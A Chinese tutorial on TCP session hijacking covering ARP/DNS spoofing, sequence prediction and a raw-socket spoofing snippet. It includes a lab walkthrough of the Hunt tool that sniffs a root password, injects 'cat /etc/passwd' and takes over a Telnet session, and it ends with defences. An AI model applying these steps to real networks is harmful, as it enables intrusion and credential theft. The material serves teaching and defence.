前言


  通常,大家所說的hack,都是針對一臺主機,在獲得管理員權限后,就很是得意;其實,真正的hacker是占領整個內部網絡。針對內部網絡的hack方法比較多,但比較有效的方法非ARP欺騙、DNS欺騙莫屬了。但是,不管使用什么技術,無非都是抓取目標的數據包,然后分析出敏感數據。如果目標內部采用的是共享式網絡(采用HUB集線器連網),那只需要把網卡設置為“混雜模式”,掛上嗅探器(Sniffer),就能簡聽到你想得到的數據。如果是交換式網絡(采用交換機連網),這樣方法就行不通了,因為對于嗅探器,有三種網絡環境是無法跨越的:“網橋”、“交換機”、“路由器”。可惜,對于ARP欺騙,交換式網絡還是無能為力,如果我們借助ARP欺騙,在實現更高一層的“***手段”,從而真正的控制內部網絡。這也就是本文要敘述的會話劫持***……


  一、會話劫持原理


  1、什么是會話劫持


  在現實生活中,比如你去市場買菜,在交完錢后你要求先去干一些別的事情,稍候再來拿菜;如果這個時候某個陌生人要求把菜拿走,賣菜的人會把菜給陌生人嗎?!當然,這只是一個比喻,但這恰恰就是會話劫持的喻意。所謂會話,就是兩臺主機之間的一次通訊。例如你Telnet到某臺主機,這就是一次Telnet會話;你瀏覽某個網站,這就是一次HTTP會話。而會話劫持(Session Hijack),就是結合了嗅探以及欺騙技術在內的***手段。例如,在一次正常的會話過程當中,***者作為第三方參與到其中,他可以在正常數據包中插入惡意數據,也可以在雙方的會話當中進行簡聽,甚至可以是代替某一方主機接管會話。我們可以把會話劫持***分為兩種類型:1)中間人***(Man In The Middle,簡稱MITM),2)注射式***(Injection);并且還可以把會話劫持***分為兩種形式:1)被動劫持,2)主動劫持;被動劫持實際上就是在后臺監視雙方會話的數據流,叢中獲得敏感數據;而主動劫持則是將會話當中的某一臺主機“踢”下線,然后由***者取代并接管會話,這種***方法危害非常大,***者可以做很多事情,比如“cat etc/master.passwd”(FreeBSD下的Shadow文件)。


  MITM***簡介


  這也就是我們常說的“中間人***”,在網上討論比較多的就是SMB會話劫持,這也是一個典型的中間人***。要想正確的實施中間人***,***者首先需要使用ARP欺騙或DNS欺騙,將會話雙方的通訊流暗中改變,而這種改變對于會話雙方來說是完全透明的。關于ARP欺騙***防線介紹的比較多,網上的資料也比較多,我就不在多說了,我只簡單談談DNS欺騙。DNS(Domain Name System),即域名服務器,我們幾乎天天都要用到。對于正常的DNS請求,例如在瀏覽器輸入,然后系統先查看Hosts文件,如果有相對應的IP,就使用這個IP地址訪問網站(其實,利用Hosts文件就可以實現DNS欺騙);如果沒有,才去請求DNS服務器;DNS服務器在接收到請求之后,解析出其對應的IP地址,返回給我本地,最后你就可以登陸到***防線的網站。而DNS欺騙則是,目標將其DNS請求發送到***者這里,然后***者偽造DNS響應,將正確的IP地址替換為其他IP,之后你就登陸了這個***者指定的IP,而***者早就在這個IP中安排好了惡意網頁,可你卻在不知不覺中已經被***者下了“套”……DNS欺騙也可以在廣域網中進行,比較常見的有“Web服務器重定向”、“郵件服務器重定向”等等。但不管是ARP欺騙,還是DNS欺騙,中間人***都改變正常的通訊流,它就相當于會話雙方之間的一個透明代理,可以得到一切想知道的信息,甚至是利用一些有缺陷的加密協議來實現。


  注射式***簡介


  這種方式的會話劫持比中間人***實現起來簡單一些,它不會改變會話雙方的通訊流,而是在雙方正常的通訊流插入惡意數據。在注射式***中,需要實現兩種技術:1)IP欺騙,2)預測TCP序列號。如果是UDP協議,只需偽造IP地址,然后發送過去就可以了,因為UDP沒有所謂的TCP三次握手,但基于UDP的應用協議有流控機制,所以也要做一些額外的工作。對于IP欺騙,有兩種情況需要用到:1)隱藏自己的IP地址;2)利用兩臺機器之間的信任關系實施***。在Unix/Linux平臺上,可以直接使用Socket構造IP包,在IP頭中填上虛假的IP地址,但需要root權限;在Windows平臺上,不能使用Winsock,需要使用Winpacp(也可以使用Libnet)。例如在Linux系統,首先打開一個Raw Socket(原始套接字),然后自己編寫IP頭及其他數據。可以參考下面的實例代碼:


sockfd = socket(AF_INET, SOCK_RAW, 255);

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));


struct ip *ip;

struct tcphdr *tcp;

struct pseudohdr pseudoheader;

ip->ip_src.s_addr = xxx;

pseudoheader.saddr.s_addr = ip->ip_src.s_addr;

tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));? ??

sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));


  對于基于TCP協議的注射式會話劫持,***者應先采用嗅探技術對目標進行簡聽,然后從簡聽到的信息中構造出正確的序列號,如果不這樣,你就必須先猜測目標的ISN(初始序列號),這樣無形中對會話劫持加大了難度。那為什么要猜測會話雙方的序列號呢?請繼續往下看。

  


  2、TCP會話劫持


  本文主要敘述基于TCP協議的會話劫持。如果劫持一些不可靠的協議,那將輕而易舉,因為它們沒有提供一些認證措施;而TCP協議被欲為是可靠的傳輸協議,所以要重點討論它。


  根據TCP/IP中的規定,使用TCP協議進行通訊需要提供兩段序列號,TCP協議使用這兩段序列號確保連接同步以及安全通訊,系統的TCP/IP協議棧依據時間或線性的產生這些值。在通訊過程中,雙方的序列號是相互依賴的,這也就是為什么稱TCP協議是可靠的傳輸協議(具體可參見RFC 793)。如果***者在這個時候進行會話劫持,結果肯定是失敗,因為會話雙方“不認識”***者,***者不能提供合法的序列號;所以,會話劫持的關鍵是預測正確的序列號,***者可以采取嗅探技術獲得這些信息。


  TCP協議的序列號


  現在來討論一下有關TCP協議的序列號的相關問題。在每一個數據包中,都有兩段序列號,它們分別為:


SEQ:當前數據包中的第一個字節的序號

ACK:期望收到對方數據包中第一個字節的序號


  假設雙方現在需要進行一次連接:


S_SEQ:將要發送的下一個字節的序號

S_ACK:將要接收的下一個字節的序號

S_WIND:接收窗口

//以上為服務器(Server)

C_SEQ:將要發送的下一個字節的序號

C_ACK:將要接收的下一個字節的序號

C_WIND:接收窗口

//以上為客戶端(Client)


它們之間必須符合下面的邏輯關系,否則該數據包會被丟棄,并且返回一個ACK包(包含期望的序列號)。

C_ACK <= C_SEQ <= C_ACK + C_WIND

S_ACK <= S_SEQ <= S_ACK + S_WIND


  如果不符合上邊的邏輯關系,就會引申出一個“致命弱點”,具體請接著往下看。


  致命弱點


  這個致命的弱點就是ACK風暴(Storm)。當會話雙方接收到一個不期望的數據包后,就會用自己期望的序列號返回ACK包;而在另一端,這個數據包也不是所期望的,就會再次以自己期望的序列號返回ACK包……于是,就這樣來回往返,形成了惡性循環,最終導致ACK風暴。比較好的解決辦法是先進行ARP欺騙,使雙方的數據包“正常”的發送到***者這里,然后設置包轉發,最后就可以進行會話劫持了,而且不必擔心會有ACK風暴出現。當然,并不是所有系統都會出現ACK風暴。比如Linux系統的TCP/IP協議棧就與RFC中的描述略有不同。注意,ACK風暴僅存在于注射式會話劫持。


  TCP會話劫持過程


  假設現在主機A和主機B進行一次TCP會話,C為***者,劫持過程如下:


A向B發送一個數據包

SEQ (hex): X ACK (hex): Y

FLAGS: -AP--- Window: ZZZZ,包大小為:60


B回應A一個數據包

SEQ (hex): Y ACK (hex): X+60

FLAGS: -AP--- Window: ZZZZ,包大小為:50


A向B回應一個數據包

SEQ (hex): X+60 ACK (hex): Y+50

FLAGS: -AP--- Window: ZZZZ,包大小為:40


B向A回應一個數據包

SEQ (hex): Y+50 ACK (hex): X+100

FLAGS: -AP--- Window: ZZZZ,包大小為:30


***者C冒充主機A給主機B發送一個數據包

SEQ (hex): X+100 ACK (hex): Y+80

FLAGS: -AP--- Window: ZZZZ,包大小為:20


B向A回應一個數據包

SEQ (hex): Y+80 ACK (hex): X+120

FLAGS: -AP--- Window: ZZZZ,包大小為:10


  現在,主機B執行了***者C冒充主機A發送過來的命令,并且返回給主機A一個數據包;但是,主機A并不能識別主機B發送過來的數據包,所以主機A會以期望的序列號返回給主機B一個數據包,隨即形成ACK風暴。如果成功的解決了ACK風暴(例如前邊提到的ARP欺騙),就可以成功進行會話劫持了。


  關于理論知識就說到這里,下面我以具體的實例演示一次會話劫持。


  二、會話劫持實踐


  1、嘮叨幾句


  可以進行會話劫持的工具很多,比較常用有Juggernaut,它可以進行TCP會話劫持的網絡Sniffer程序;TTY Watcher,而它是針對單一主機上的連接進行會話劫持。還有如Dsniff這樣的工具包也可以實現會話劫持,只是看你會不會使用了。但,能將會話劫持發揮得淋漓盡致的,還要算Hunt這個工具了。它的作者是Pavel Krauz,可以工作在Linux和一些Unix平臺下。它的功能非常強大,首先,無論是在共享式網絡還是交換式網絡,它都可以正常工作;其次,可以進行中間人***和注射式***。還可以進行嗅探、查看會話、監視會話、重置會話。通過前面的敘述,我們知道在注射式***中,容易出現ACK風暴,解決辦法是先進行ARP欺騙;而使用Hunt進行注射式***時,它并不進行ARP欺騙,而是在會話劫持之后,向會話雙方發送帶RST標志位的TCP包以中斷會話,避免ACK風暴繼續下去。而中間人***是先進行ARP欺騙,然后進行會話劫持。Hunt目前最新版本是1.5,可以到Pavel Krauz網站下載源代碼包和二進制文件:~kra/#hunt。


  現在來看看如果使用Hunt,首先是下載并編譯源代碼:


[root@dahubaobao hunt]#wget

[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz

[root@dahubaobao hunt]#cd hunt-1.5

[root@dahubaobao hunt-1.5]#make

[root@dahubaobao hunt-1.5]#./hunt

//Hunt是完全交互試的操作

解釋一下各個選項的含義

l/w/r) list/watch/reset connections

//l(字母l)為查看當前網絡上的會話;w為監視當前網絡上的某個會話;r為重置當前網絡上的某個會話。

a) arp/simple hijack (avoids ack storm if arp used)

//中間人***(會話劫持),Hunt先進行ARP欺騙,然后進行會話劫持。使用此方法可以避免出現ACK風暴。

s) simple hijack

//簡單的會話劫持,也就是注射式***。會出現ACK風暴。

d) daemons rst/arp/sniff/mac

//該選項共實現四個功能,分別為:終止會話,自動發送帶RST標志位的TCP包;ARP欺騙后進行數據包轉發;不用說了,嗅探功能;在當前網絡上收集MAC地址。

其他的選項很簡單,不在多說了。還是來看看具體的例子吧,我想大家都等不及了!^_^


  2、應用實例


  測試環境:


  ***者:Red Hat Linux 9.0 IP:192.168.0.10

  主機A:Windows Advanced Server IP:192.168.0.1

  主機B:FreeBSD 4.9 STABLE IP:192.168.0.20


[root@dahubaobao hunt-1.5]#./hunt

/*

* hunt 1.5

* multipurpose connection intruder / sniffer for Linux

* (c) 1998-2000 by kra

*/

starting hunt

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> l //查看當前網絡上的會話

0)192.168.0.1 [3465] ?192.168.0.20 [23]

//主機A正在Telnet到主機B


--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> w //監視當前網絡上的會話

0)192.168.0.1 [3465] ?192.168.0.20 [23]

Choose conn>0 //選擇打算監視的會話。由于我的條件有限,不能模擬多個會話,請多見量。

Dump [s]rc/[d]st/[b]oth [b]> //回車

Print sec/dst same charactes y/n [n]> //回車


  現在就可以監視會話了。主機A輸入的一切內容,我們都可以看到。主機A在Telnet并登陸之后,直接su root,password:后邊的就是root的密碼。現在這個系統已經完全由你所控制了,自由發揮吧!


--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> s //進行注射式會話劫持

0)192.168.0.1 [3465] ?192.168.0.20 [23]

choose conn> 0

dump connection y/n [n]>

Enter the command string you wish executed or [cr]> cat /etc/passwd

***者的意圖是獲取主機B的passwd文件的內容,但由于注射式會話劫持缺陷,導致了ACK風暴,所以Hunt向會話雙方發送了一個帶RST標志位的TCP包來阻止ACK風暴。


--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> a //進行中間人會話劫持

0)192.168.0.1 [3862] ?192.168.0.20 [23]

choose conn> 0

arp spoof src in dst y/n [y]>

src MAC [XX:XX:XX:XX:XX:XX]>

arp spoof dst in src y/n [y]>

dst MAC [XX:XX:XX:XX:XX:XX]>

input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>

dump connectin y/n [y]> n

press key to take voer of connection

ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA

ILED

do you want to force arp spoof nutil successed y/n [y]>

CTRL-C to break

CTRL+C //手工輸入CTRL+C中斷,不需等待

-- operation canceled - press any key>

ARP spoof failed

ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED

you took over the connection

CTRL-] to break

-bash-2.05b$id

....................


  現在,***者已經成功的劫持了主機A和B之間的Telnet會話。主機A輸入的一切命令***者都可以看到,并且***者也可以自行插入命令。正如前邊所說的,這種會話劫持方式先進行ARP欺騙,然后才劫持,所以,ACK風暴是不會出現的;而且,這種方式要比注射式會話劫持危害更大,從上文中我想就能看出來,我就不必在多說什么了。還有一些如Sniffer等功能,都很簡單,由于已不在本文范疇,故不在多說。


  三、會話劫持防范


  防范會話劫持是一個比較大的工程。首先應該使用交換式網絡替代共享式網絡,雖然像Hunt這樣的工具可以在交換環境中實現會話劫持,但還是應該使用交換式網絡替代共享式網絡,因為這樣可以防范最基本的嗅探***。然而,最根本的解決辦法是采用加密通訊,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/×××,這樣會話劫持就無用武之地了。其次,監視網絡流量,如發現網絡中出現大量的ACK包,則有可能已被進行了會話劫持***。


  還有一點是比較重要的,就是防范ARP欺騙。實現中間人***的前提是ARP欺騙,如能阻止***者進行ARP欺騙,中間人***還怎樣進行?!如何防范ARP欺騙,***防線有過詳細的介紹,可以參考2003年第9期雜志。


  總結


  對于***內部網絡,會話劫持確實是一種比較有效的方法,我們應該掌握。本文的實踐性很強,請大家務必動手試試,并希望能掌握此技術。Hunt這個強悍的工具使用方法很簡單,但卻可以把會話劫持發揮淋漓盡致,真佩服作者的編程功底